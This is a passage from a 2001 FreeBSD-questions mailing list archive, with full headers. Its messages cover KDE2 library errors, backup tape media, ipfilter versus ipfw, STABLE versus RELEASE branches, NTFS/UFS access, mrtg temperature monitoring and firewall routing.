http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:40: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dknim001.defence.gov.au (dknim001.defence.gov.au [203.10.231.227]) by hub.freebsd.org (Postfix) with ESMTP id 4670A37B405 for ; Mon, 19 Nov 2001 14:40:00 -0800 (PST) Received: (from uucp@localhost) by dknim001.defence.gov.au (8.11.0/8.11.0) id fAJMdqw00327 for ; Mon, 19 Nov 2001 22:39:52 GMT Message-ID: <81E70F798E8BD511AC2F0002A5749710063814@WAGEX001> From: "Heddles, FLGOFF Chris" To: "'freebsd-questions@FreeBSD.ORG'" Subject: sec: unclassified - QT2 / KDE2 problem on 4.4 release Date: Tue, 20 Nov 2001 09:39:24 +1100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG g'day all, I'm a complete newbie to FreeBSD and have been unable to get KDE2 working from CD I have installed 4.4 release from the CD (without X because my GeForce2 graphics card requires XFree86-4.1) Installed XFree86 4.1.0 from the CD using "pkg_add" and followed the configuration guide from the handbook. Installed wrapper from ports (CD again) X appeared to work fine at this point (still does - just not with KDE) Installed KDE2 from the CD using "pkg_add". The installation process appeared to work (no error messages). I then appended .xinitrc as described in the handbook to have KDE as my default desktop. X works using the "startx" command but doesn't launch KDE Attempting to manually launch KDE from within X gives the following error message: $ startkde /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found connect() failed: : No such file or directory $ When I was first installing FreeBSD from CD, I installed it with X and KDE through the installation manager and it worked (just at very low resolution). thanks chris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:55:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from winnt.use.ch (client62-2-92-231.hispeed.ch [62.2.92.231]) by hub.freebsd.org (Postfix) with ESMTP id 70BC237B405; Mon, 19 Nov 2001 14:55:21 -0800 (PST) Subject: Re: SCSI tape back that works under FreeBSD To: Noor Dawod Cc: freebsd-questions@freebsd.org, owner-freebsd-questions@FreeBSD.ORG X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: FreeBSD@hm.homeip.net Date: Mon, 19 Nov 2001 23:55:15 +0100 X-MIMETrack: Serialize by Router on winnt/Privat(Release 5.0.8 |June 18, 2001) at 19.11.2001 23:55:22 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Noor, generally from my experience I can't recomment DAT as a backup media. They are cheap but also not very durable. I rather recommend DLT or LTO drives. The reason for this is simple my experience showed me, that a DAT media gets unreadable after a year of use, then you have to buy new ones, with DLTs or LTOs I really can say they last very much longer (I admit my experience with LTOs is only for 2 years now ;-). - Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:55:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id ED23C37B405 for ; Mon, 19 Nov 2001 14:55:35 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 87932BCA3; Mon, 19 Nov 2001 14:55:35 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id OAA03675; Mon, 19 Nov 2001 14:55:35 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fAJMrmf73523; Mon, 19 Nov 2001 14:53:48 -0800 (PST) (envelope-from swear@blarg.net) To: Joost Bekkers Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ipfilter + bridge References: <20011119094950.A72386@bps.jodocus.org> <1in11i30jq.11i@localhost.localdomain> <20011119225737.A74478@bps.jodocus.org> From: swear@blarg.net (Gary W. Swearingen) Date: 19 Nov 2001 14:53:47 -0800 In-Reply-To: <20011119225737.A74478@bps.jodocus.org> Message-ID: Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > Joost Bekkers writes: > > Gary, would you mind looking at the date of this pr ;-) I'll risk another assumption and not bother, like I didn't bother to pre-beg your forgiveness in case you had already reported the problem. I had actually considered doing that, but I characteristically chose brevity over tact because I thought that the risk of insult was low and risk of unnecessary verbiage was high. Sorry to see I chose wrong and happy to see your honor restored. I was just trying to encourage you and others to report bugs. Some people need it, if you don't. No hard feelings, I hope. No need to reply -- I'll make another assumption. :-) (Yes, I know: When you ASSUME, you make an ASS out of U, not ME.) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 14:56: 9 2001 Delivered-To: freebsd-questions@freebsd.org Received: from axel.truedestiny.net (b76168.upc-b.chello.nl [212.83.76.168]) by hub.freebsd.org (Postfix) with ESMTP id C7CA337B417 for ; Mon, 19 Nov 2001 14:56:05 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by axel.truedestiny.net (Postfix) with ESMTP id B134449A24; Mon, 19 Nov 2001 23:56:03 +0100 (CET) Received: by axel.truedestiny.net (Postfix, from userid 1000) id 3D5B549A23; Mon, 19 Nov 2001 23:56:01 +0100 (CET) Date: Mon, 19 Nov 2001 23:56:01 +0100 From: Axel Scheepers To: Walter Hop Cc: Chris Appleton , freebsd-questions@freebsd.org Subject: Re: NAT security Message-ID: <20011119235600.A1904@mars.thuis> Reply-To: Axel Scheepers References: <917DCA667947D4118E2100AA00BAEA6E1ABC06@vonneumann.emailtopia.com> <83141508858.20011119162408@binity.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <83141508858.20011119162408@binity.com>; from walter@binity.com on Mon, Nov 19, 2001 at 04:24:08PM +0100 X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 04:24:08PM +0100, Walter Hop wrote: > > I can setup ifpw to allow connections to these ip's but with > > essentially a restricted port/direction list? > > Yes, with ipfw you can specify exactly what traffic is allowed and > disallowed. ipfw acts on a gateway like on a normal host (allow this, > deny that, allow that, etc); ipfw rules are processed on the gateway > before and after packets are forwarded. Setting up ipfw rules for a > usual network situation is not that hard. > > > Would ipfilter allow me to do this as well? > > I have no experience with that (ipfw always did what I needed), maybe > someone else can add to the story... I use ipfilter/ipnat and like the way you can flush/edit the kernel filterlist and the possibility to create nice config files for it. As I see it ipfilter is a bit better handling large configurations. It also uses a technique which processes the whole ruleset which might be a bit confusing when you first start using it. My gateway/firewall is a simple 486-33/16MB, I used ipf & natd for a while but since these copy packets from kernel to userland, and ipfilter/ipnat don't, ipfilter gives _way_ more performance on a busy network. For home use I shouldn't care if I where you; if ipfw suits you and does 'your thing' use it. :) -- Axel Scheepers UNIX System Administrator email: axel@axel.truedestiny.net ascheepers@vianetworks.nl http://axel.truedestiny.net/~axel ------------------------------------------ Never count your chickens before they rip your lips off ------------------------------------------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 15:13: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from monorchid.lemis.com (monorchid.lemis.com [192.109.197.75]) by hub.freebsd.org (Postfix) with ESMTP id B507337B419 for ; Mon, 19 Nov 2001 15:12:49 -0800 (PST) Received: by monorchid.lemis.com (Postfix, from userid 1004) id A7DE4786E1; Tue, 20 Nov 2001 09:42:47 +1030 (CST) Date: Tue, 20 Nov 2001 09:42:47 +1030 From: Greg Lehey To: Anthony Atkielski Cc: "R. Hartman" , FreeBSD Questions Subject: Re: Mysterious boot during the night Message-ID: <20011120094247.L84417@monorchid.lemis.com> References: <005201c1706f$572afb80$6600000a@ach.domain> <20011119124150.R16195@monorchid.lemis.com> <005901c170a2$1cd5efc0$0a00000a@atkielski.com> <200111182159.11756@starbreaker.net> <20011119135936.S16195@monorchid.lemis.com> <001901c170c0$ce2ef460$9600000a@custcom> <00c201c170c5$d4222400$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00c201c170c5$d4222400$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Monday, 19 November 2001 at 7:45:44 +0100, Anthony Atkielski wrote: > On Monday, November 19, 2001 07:09, R. Hartman wrote: >> From the explanation below of STABLE it seems to me that this branch is less >> reliable than RELEASE regardless of the fact that it includes bug fixes. >> Especially the last two lines suggest to me that Matthew Graybosch was right. >> >> From >> http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/current-stable.html: >> >> 19.2.2.1 What Is FreeBSD-STABLE? >> FreeBSD-STABLE is our development branch from which major releases >> are made. Changes go into this branch at a different pace, and >> with the general assumption that they have first gone into >> FreeBSD-CURRENT first for testing. This is still a development >> branch, however, and this means that at any given time, the sources >> for FreeBSD-STABLE may or may not be suitable for any particular >> purpose. It is simply another engineering development track, not a >> resource for end-users. > > It would seem, then, that I'm best off just sticking with RELEASE, no? No. The text is wrong. It's as I said before: -STABLE is the stable version, -RELEASE is the released version. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 15:22:26 2001 Delivered-To: freebsd-questions@freebsd.org Received: from digger1.defence.gov.au (digger1.defence.gov.au [203.5.217.4]) by hub.freebsd.org (Postfix) with ESMTP id 5729737B405 for ; Mon, 19 Nov 2001 15:22:23 -0800 (PST) Received: from dsto-ms2.dsto.defence.gov.au (dsto-ms2.dsto.defence.gov.au [131.185.2.150]) by digger1.defence.gov.au (8.10.1/8.10.1) with ESMTP id fAJNLaF06638 for ; Tue, 20 Nov 2001 09:51:36 +1030 (CST) Received: from muttley.dsto.defence.gov.au (unverified) by dsto-ms2.dsto.defence.gov.au (Content Technologies SMTPRS 4.1.5) with ESMTP id for ; Tue, 20 Nov 2001 09:52:13 +1030 Received: from salex001.dsto.defence.gov.au (salex001.dsto.defence.gov.au [131.185.2.9]) by muttley.dsto.defence.gov.au (8.9.3/8.9.3/8.9.3.LMD.990513) with ESMTP id JAA18755 for ; Tue, 20 Nov 2001 09:45:49 +1030 (CST) Received: from pluto2.dsto.defence.gov.au ([131.185.75.211]) by salex001.dsto.defence.gov.au with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id WPPCZWZW; Tue, 20 Nov 2001 09:45:44 +1030 Date: Tue, 20 Nov 2001 09:42:52 +1030 (CST) From: "Wilkinson,Alex" X-X-Sender: Reply-To: To: Subject: ntfs AND ufd Message-ID: <20011120093528.C2182-100000@pluto2.dsto.defence.gov.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Howdy Crew, I am wondering is it possible to have two partions (well I know this is possible) 1. NTFS 2. UFS AND booting to win2k and being able to read the UFS on FreeBSD partition via win2k? ie same hard disk partioned. - aW To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 15:31:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 1A14D37B419 for ; Mon, 19 Nov 2001 15:31:14 -0800 (PST) Received: (from mwlucas@localhost) by blackhelicopters.org (8.11.6/8.11.6) id fAJNV9S95418; Mon, 19 Nov 2001 18:31:09 -0500 (EST) (envelope-from mwlucas) Date: Mon, 19 Nov 2001 18:31:09 -0500 From: Michael Lucas To: "Wilkinson,Alex" Cc: questions@FreeBSD.ORG Subject: Re: ntfs AND ufd Message-ID: <20011119183109.A95399@blackhelicopters.org> References: <20011120093528.C2182-100000@pluto2.dsto.defence.gov.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120093528.C2182-100000@pluto2.dsto.defence.gov.au>; from Alex.Wilkinson@dsto.defence.gov.au on Tue, Nov 20, 2001 at 09:42:52AM +1030 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG To the best of my knowledge, while you can read the NTFS partition from FreeBSD you cannot read the UFS partition from Windows. Sorry. On Tue, Nov 20, 2001 at 09:42:52AM +1030, Wilkinson,Alex wrote: > Howdy Crew, > > I am wondering is it possible to have two partions (well I know this is possible) > > 1. NTFS > 2. UFS > > AND booting to win2k and being able to read the UFS on FreeBSD partition via win2k? > > ie same hard disk partioned. > > - aW > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- Michael Lucas mwlucas@blackhelicopters.org http://www.blackhelicopters.org/~mwlucas/ Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 15:32:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from zeus.cairodurham.org (zeus.cairodurham.org [209.23.60.35]) by hub.freebsd.org (Postfix) with SMTP id A3B4C37B405 for ; Mon, 19 Nov 2001 15:32:07 -0800 (PST) Received: (qmail 69780 invoked from network); 16 Nov 2001 20:25:21 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 16 Nov 2001 20:25:21 -0000 Date: Fri, 16 Nov 2001 15:25:21 -0500 (EST) From: Jaime Kikpole X-X-Sender: To: Subject: Writable directory except for a given user Message-ID: <20011116152113.E69565-100000@zeus> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm trying to make a directory available to a group of users equal to all users _minus_ a given list. I know that I can use /etc/group and chgrp and chmod to allow something to be writable to approved users. However, I don't know how to do this as a "blacklist exclusion" approach. Unfortunately, I have to allow all users except for a handful to access a directory. Does anyone have a tip for this? Thanks in advance, Jaime -- Network Administrator Cairo-Durham Central School District To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16: 0: 6 2001 Delivered-To: freebsd-questions@freebsd.org Received: from chmls05.mediaone.net (chmls05.mediaone.net [24.147.1.143]) by hub.freebsd.org (Postfix) with ESMTP id 5207637B416 for ; Mon, 19 Nov 2001 16:00:03 -0800 (PST) Received: from sickness (test4.peter.Metro2000.NET [216.177.0.48]) by chmls05.mediaone.net (8.11.1/8.11.1) with ESMTP id fAJNxvk06672 for ; Mon, 19 Nov 2001 18:59:57 -0500 (EST) From: "David Loszewski" To: Subject: help with monitoring healthd with mrtg plz??? Date: Mon, 19 Nov 2001 18:58:55 -0500 Message-ID: <001201c17156$27ab04d0$3000b1d8@sickness> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG K, I took a look at the healthd site and this is what it said to do to monitor temperature: Target[temp]: `/usr/local/bin/healthdc cat | /usr/bin/awk '/^/ {print $2*10; print $3*10; print "a long time"; print $1}'` MaxBytes[temp]: 700 Options[temp]: gauge, noinfo, nopercent Title[temp]: cat.int.thehousleys.net (cat.int.thehousleys.net): temp YTicsFactor[temp]: 0.1 Factor[temp]: 0.1 YLegend[temp]: Celsius LegendI[temp]: Temp LegendO[temp]: Temp ShortLegend[temp]: C PageTop[temp]:

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so I put that in my mrtg.cfg, ran it and this is what I get: healthdc: cat: No address associated with hostname WARNING: Could not get any data from external command '/usr/local/bin/healthdc cat | /usr/bin/awk '/^/ {print $2*10; print $3*10; print "a long time"; print $1}'' Maybe the external command did not even start. () Ideas on what to do? And yes it is running because if I try healthdc then it returns the values. Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16:10:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from gollum.dreamhost.com (gollum.dreamhost.com [216.240.148.28]) by hub.freebsd.org (Postfix) with ESMTP id 5ADD137B405 for ; Mon, 19 Nov 2001 16:10:23 -0800 (PST) Received: from maden.maden.org (adsl-63-198-190-250.dsl.snfc21.pacbell.net [63.198.190.250]) (authenticated) by gollum.dreamhost.com (8.11.4/8.11.4/Debian 8.11.0) with ESMTP id fAK0AMw04742 for ; Mon, 19 Nov 2001 16:10:22 -0800 Message-Id: <5.1.0.14.0.20011119160246.00a9a290@mail.maden.org> X-Sender: maden@mail.maden.org X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 19 Nov 2001 16:05:20 -0800 To: freebsd-questions@freebsd.org From: "Christopher R. Maden" Subject: Re: Vi a Joke ? In-Reply-To: <001e01c17134$0d6f2370$fd6e34c6@mlevy> Mime-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 11:54 19-11-2001, Bara Zani wrote: >Just an article related to the discussion on this subject . >very nice reading from an expert . >http://www.ebone.at/books/programmers/sonstiges/oreillybookself/unix/upt/ch3 >0_03.htm While it's nice to see my work appreciated (), please report pirate sites like this to booktech@oreilly.com. Yes, yes, information wants to be free and all that - but do what you do with operating systems. If you don't want to pay for the commercially-available content, don't - rely on free sources like man pages and perldoc. Many of the more interesting parts of _UNIX Power Tools_ are taken from USENET posts anyway - deja it. ~Chris - -- Christopher R. Maden, Principal Consultant, HMM Consulting Int'l, Inc. DTDs/schemas - conversion - ebooks - publishing - Web - B2B - training PGP Fingerprint: BBA6 4085 DED0 E176 D6D4 5DFC AC52 F825 AFEC 58DA -----BEGIN PGP SIGNATURE----- Version: PGP Personal Privacy 6.5.8 iQA/AwUBO/meQKxS+CWv7FjaEQLT+gCglT38CO4/XP/sCNjFS2ozB7s1fzIAoKeU dt7l+JysdPi3yF8wxRvcKIVJ =rEI/ -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16:11: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by hub.freebsd.org (Postfix) with ESMTP id 230BD37B41B for ; Mon, 19 Nov 2001 16:10:58 -0800 (PST) Received: from dialup-209.245.132.171.dial1.sanjose1.level3.net ([209.245.132.171] helo=blossom.cjclark.org) by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165yV6-0003Kw-00; Mon, 19 Nov 2001 16:10:57 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAK0AVj01540; Mon, 19 Nov 2001 16:10:31 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 16:10:31 -0800 From: "Crist J. Clark" To: Olga Zenkova Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ipfw log with packet size Message-ID: <20011119161031.U69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <20011117093730.95756.qmail@web9606.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011117093730.95756.qmail@web9606.mail.yahoo.com>; from siro200@yahoo.com on Sat, Nov 17, 2001 at 01:37:30AM -0800 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 17, 2001 at 01:37:30AM -0800, Olga Zenkova wrote: > Dear Sirs! > How can I get ipfw log file with writing size of the > transmitted packets? Is it possible at all? Not with ipfw(8) logging as it exists in the base system. You can try the patches in the website in my .sig. Enabling extended IP logging will include the packet size for each log entry. I'm looking at committing these in the near future. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16:11:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from C11631-A.plstn1.sfba.home.com (c11631-a.plstn1.sfba.home.com [24.14.151.227]) by hub.freebsd.org (Postfix) with ESMTP id F0A0137B405 for ; Mon, 19 Nov 2001 16:11:36 -0800 (PST) Received: (from wdr@localhost) by C11631-A.plstn1.sfba.home.com (8.11.6/8.11.6) id fAK0Bac01115; Mon, 19 Nov 2001 16:11:36 -0800 (PST) (envelope-from wdr) Message-Id: <200111200011.fAK0Bac01115@C11631-A.plstn1.sfba.home.com> Content-Type: text/plain; charset="iso-8859-1" From: William Richard To: "Heddles, FLGOFF Chris" , "'freebsd-questions@FreeBSD.ORG'" Subject: Re: sec: unclassified - QT2 / KDE2 problem on 4.4 release Date: Mon, 19 Nov 2001 16:11:36 -0800 X-Mailer: KMail [version 1.3.1] References: <81E70F798E8BD511AC2F0002A5749710063814@WAGEX001> In-Reply-To: <81E70F798E8BD511AC2F0002A5749710063814@WAGEX001> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Monday 19 November 2001 14:39 pm, Heddles, FLGOFF Chris wrote: > Attempting to manually launch KDE from within X gives the following error > message: > > $ startkde > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > /usr/libexec/ld-elf.so.1: Shared object "libqt2.so.4" not found > connect() failed: : No such file or directory > $ In the directory /var/db/pkg, is there a directory called qt-[something]? This output suggests that the QT toolkit (which KDE depends upon) either wasn't installed, or isn't known to the dynamic linker. -- Cheers, William Richard wrichard@trivalley.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16:14:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from stjohn.stjohn.ac.th (stjohn.stjohn.ac.th [202.21.144.1]) by hub.freebsd.org (Postfix) with ESMTP id 8BB0237B417; Mon, 19 Nov 2001 16:14:20 -0800 (PST) Received: from tulip ([203.151.134.104]) by stjohn.stjohn.ac.th (8.9.3+Sun/8.9.3) with SMTP id HAA03771; Tue, 20 Nov 2001 07:13:17 +0700 (ICT) Message-Id: <3.0.6.32.20011120071415.007d5b80@stjohn.stjohn.ac.th> X-Sender: mcrogerm@stjohn.stjohn.ac.th X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 20 Nov 2001 07:14:15 +0700 To: bmah@FreeBSD.ORG From: Roger Merritt Subject: Re: cvsup of ports, then what? Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <200111161710.fAGHAqj53942@c527597-a.cstvl1.sfba.home.com> References: <15348.63980.371923.848952@guru.mired.org> <15348.63980.371923.848952@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 09:10 AM 11/16/01 -0800, you wrote: >If memory serves me right, Mike Meyer wrote: >I personally recommend using portupgrade...it does a much better job of >handling upgrades than pkg_version could ever pretend to do. pkg_version >sucks rocks at solving the port upgrade problem because it was never >designed to handle it. > >Bruce. > >PS. Mike probably knows this, but for anyone who wasn't aware, I'm the >original author of pkg_version, so I'm entitled to make disparaging >remarks about it. I'm glad you said that because I'd like to thank you for a good tool. It sounds as if you now wish you'd made it better than you did, but let me tell you I've found it useful, and I can't think of much higher praise than that. I've found it to be a good, solid, workmanlike program which solves one of my problems well. I've had a couple of cases where dependencies weren't properly updated in my source tree and the commands from 'pkg_version -c' generated an error, but that wasn't the fault of pkg_version. But thanks too for giving a recommendation for what you consider a superior tool. Now I'll try it, since you should know whether it's better or not. -- Roger To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16:18:56 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hawk.prod.itd.earthlink.net (hawk.mail.pas.earthlink.net [207.217.120.22]) by hub.freebsd.org (Postfix) with ESMTP id 720B537B418 for ; Mon, 19 Nov 2001 16:18:54 -0800 (PST) Received: from dialup-209.245.132.171.dial1.sanjose1.level3.net ([209.245.132.171] helo=blossom.cjclark.org) by hawk.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165ycn-0004Z5-00; Mon, 19 Nov 2001 16:18:53 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAK0IIt01570; Mon, 19 Nov 2001 16:18:18 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 16:18:18 -0800 From: "Crist J. Clark" To: Zak Johnson Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Complex routing for a firewall Message-ID: <20011119161818.V69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <20011119220504.GA3048@loki.intra> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011119220504.GA3048@loki.intra>; from zakj@fenris.cc on Mon, Nov 19, 2001 at 05:05:04PM -0500 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 05:05:04PM -0500, Zak Johnson wrote: > I am having some trouble setting up routing for my (admittedly strange) > network. I control x.x.165.232/29. My gateway (controlled by my ISP) > is x.x.164.1. My intended setup: > > ISP Gateway (x.x.164.1) > | > firewall rl0 (inet x.x.165.233 netmask 255.255.254.0) > firewall rl1 (inet x.x.165.234 netmask 255.255.255.248) > | > servers (inet x.x.165.235-237 netmask 255.255.255.248) This isn't a "complex routing" problem. What you are trying to do is incorrect. You are saying x.x.165.232/29 range of addresses somehow exist on _both_ networks connected to rl0 and rl1. Not knowing exactly how your ISP is routing things, I would still think you are not expected to be routing your network at all. You probably want to do bridging. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 16:24:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from metrotel.net.co (metrotel.agrecon.com.co [200.30.54.1]) by hub.freebsd.org (Postfix) with ESMTP id C7C0637B420 for ; Mon, 19 Nov 2001 16:23:58 -0800 (PST) Received: from localhost (bartok@interasync41.metrotel.net.co [200.68.134.41]) by metrotel.net.co (8.9.1/8.9.1) with SMTP id WAA04065 for ; Sun, 